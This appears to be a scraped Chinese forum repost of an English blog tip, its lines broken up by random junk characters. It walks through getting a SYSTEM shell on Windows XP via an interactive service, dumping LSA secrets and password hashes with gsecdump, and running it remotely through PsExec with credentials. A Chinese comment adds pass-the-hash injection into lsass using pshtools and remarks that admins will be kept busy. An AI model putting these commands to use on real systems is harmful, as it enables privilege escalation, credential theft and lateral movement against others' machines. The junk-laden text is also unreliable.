o get a DOS Prompt as NT system:$ L* x( @+ t+ I" o1 c
. R) j( g8 b. v9 j7 p4 mC:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact* |6 P L% ?/ M8 V5 g7 L
[SC] CreateService SUCCESS
, @2 X* D; u) ~0 Y- v; X; M2 U
* T" }. O& j; J2 zC:\>sc start shellcmdline d, c# M; m7 t
[SC] StartService FAILED 1053:
% a; ?) J$ b! s2 Z( Z% \+ {
) \" o; c$ _2 C4 r( }7 [/ Y$ g$ u$ `The service did not respond to the start or control request in a timely fashion.
8 E& f$ u8 q2 V3 V4 o$ f4 q5 L& {7 J9 h7 |( t5 f& U
C:\>sc delete shellcmdline, Q+ A2 k. l3 ?+ U2 S# @
[SC] DeleteService SUCCESS
" ]+ C( _. C2 s2 @- Y0 O
* A, G' W0 ]8 {1 u7 ?, w------------$ I( A# H. t% v4 K' X- ], K& ^
( O% l8 E5 }' O, C/ |$ L$ i
Then in the new DOS window:5 w$ J9 z" }; N, d
I$ i) {: @! DMicrosoft Windows XP [Version 5.1.2600]
7 H% ?! {8 P2 `. C(C) Copyright 1985-2001 Microsoft Corp.
3 u8 p/ ]; o* A4 [/ ?: ^
o. O" _4 U9 S$ l d0 {5 T# UC:\WINDOWS\system32>whoami
) j! Y& ~6 i- ^- b9 |- @' b8 DNT AUTHORITY\SYSTEM
B, Z( }" u/ s4 S& y
+ F. x& Y7 N/ b1 AC:\WINDOWS\system32>gsecdump -h0 q. Z! i% A' U v! } E
gsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se)
D4 ~! H) t" h/ S6 k( o; p5 iusage: gsecdump [options]/ |" c! v0 B4 n2 N! t4 o4 F# L
" W# ~* j% s; J; {5 O' J! X
options:; k+ S3 L I9 |
-h [ --help ] show help
6 Y- z+ r8 }) S+ [+ a-a [ --dump_all ] dump all secrets
2 G1 y8 @( b9 o$ ?4 X6 X-l [ --dump_lsa ] dump lsa secrets
- X: q3 `7 R* S-w [ --dump_wireless ] dump microsoft wireless connections
/ k7 q2 h* r1 q E-u [ --dump_usedhashes ] dump hashes from active logon sessions1 z7 Y! }5 @# A
-s [ --dump_hashes ] dump hashes from SAM/AD
% c5 P& x, y* [) A! Q( ?( z9 j: q2 X: ?& S1 r( Y
Although I like to use:
; @* P5 C5 n; k3 U& M3 e% ?& `6 V: T0 q% _0 i# C {- | b
PsExec v1.83 - Execute processes remotely
) e' @/ w0 t1 f+ G9 kCopyright (C) 2001-2007 Mark Russinovich
# C v, T- \: I. z. a$ \Sysinternals - 链接标记[url]www.sysinternals.com[/url]
1 z. O, K% x X* L- x
: U+ O X5 J `0 e" @ fC:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT
- n" c3 w3 `; Y8 s
& k- u" }; e* @: } H" ?3 V5 Rto get the hashes from active logon sessions of a remote system.* j6 s& w# X4 ?4 g2 j, K
: p, P. M( |4 P; Z# WThese are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.7 T, h" _7 r* c5 \# \9 R
+ s: B& O2 D+ ]& L5 Q提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.
. U( z; h7 \3 v' x% O, T' W h; |原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url]
+ c h& B3 E. a6 `1 G0 t* _( [1 R$ G* t+ q& z+ T
我看了下原文出处,貌似是/2007/03/16/郁闷啊,差距。+ T+ R3 S1 `0 W6 Z3 c7 E" @
|